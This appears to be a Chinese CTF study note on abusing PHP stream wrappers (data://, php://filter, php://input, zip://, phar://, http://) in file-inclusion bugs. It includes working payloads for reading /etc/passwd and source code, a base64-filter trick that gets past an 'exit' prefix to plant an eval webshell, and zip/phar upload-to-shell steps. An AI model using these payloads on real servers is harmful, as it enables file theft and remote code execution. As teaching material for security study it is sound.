http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

file://

用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
比如:www.xx.com?file=file:///etc/passwd

php://

不需要开启allow_url_fopen,仅php://input、php://stdin、php://memory和php://temp需要开启allow_url_include。

php://filter

一个中间件,在读入或写入数据的时候对数据进行处理后输出的过程。可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行base64编码,让其不执行,展现在页面上。从而导致任意文件读取。
2024-07-09T18:15:53.png
2024-07-09T18:19:01.png
ctf解题常用:
变量=php://filter/read=convert.base64-encode/resource=文件名

使用的convert.base64-encode,是一种过滤器。
2024-07-09T18:19:22.png
2024-07-09T18:19:32.png
2024-07-09T18:19:43.png
2024-07-09T18:19:58.png

协议参数
2024-07-08T13:09:10.png

利用filter伪协议绕过死亡exit

何为死亡exit?

举个例子:

file_put_contents($content, '<?php exit();' . $content);

// 或者这样
file_put_contents($content, '<?php exit();?>' . $content);

如果想插入一句话木马,文件内容会变成这样

<?php exit();?>

<?php @eval($_POST['test']);?>

即使插入了一句话木马,在被使用的时候也无法被执行。这样的死亡exit通常存在于缓存、配置文件等等不允许用户直接访问的文件当中。

如何绕过?————filter伪协议+base64decode
利用php://filter的base64-decode方法,将$content解码,利用php base64_decode函数特性去除死亡exit。base64编码中只包含64个可打印字符,当PHP遇到不可解码的字符时,会选择性的跳过。

当$content包含 <?php exit; ?>时,解码过程会先去除识别不了的字符,< ; ? >和空格等都将被去除,于是剩下的字符就只有phpexit以及我们传入的字符了。由于base64是4个byte一组,再添加一个字符例如添加字符a后,将phpexita当做两组base64进行解码,也就绕过这个死亡exit了。
这个时候后面再加上编码后的一句话木马,就可以getshell了。

php://input

可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。在POST请求中访问POST的data部分,在enctype="multipart/form-data"的时候php://input 是无效的。

当传进去的参数作为文件名变量去打开文件时,可以将参数php://input,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取。
2024-07-08T13:12:05.png

其他

php://stdin、php://stdout 和 php://stderr 允许直接访问 PHP 进程相应的输入或者输出流。 数据流引用了复制的文件描述符,所以如果你打开 php://stdin 并在之后关了它, 仅是关闭了复制品,真正被引用的 STDIN 并不受影响。

注意 PHP 在这方面的行为有很多 BUG 直到 PHP 5.2.1。 推荐简单使用常量 STDIN、 STDOUT 和 STDERR 来代替手工打开这些封装器。

php://stdin 是只读的, php://stdout 和 php://stderr 是只写的。

zip://

可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。相同类型的还有zlib://和bzip2://。

可以配合文件上传获取webshell,将shell.txt压缩成zip,再将后缀名改为jpg上传,通过zip伪协议访问压缩包里的文件,来连接木马

?url=zip://shell.jpg

注意:此处只能传入绝对路径,要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23。只要是zip的压缩包即可,后缀名可以任意更改。

phar://

与zip://类似,同样可以访问zip格式压缩包内容
http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
利用 phar 拓展 php 反序列化漏洞攻击面

http:// & https://

allow_url_fopen和allow_url_include都需要开启。
常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt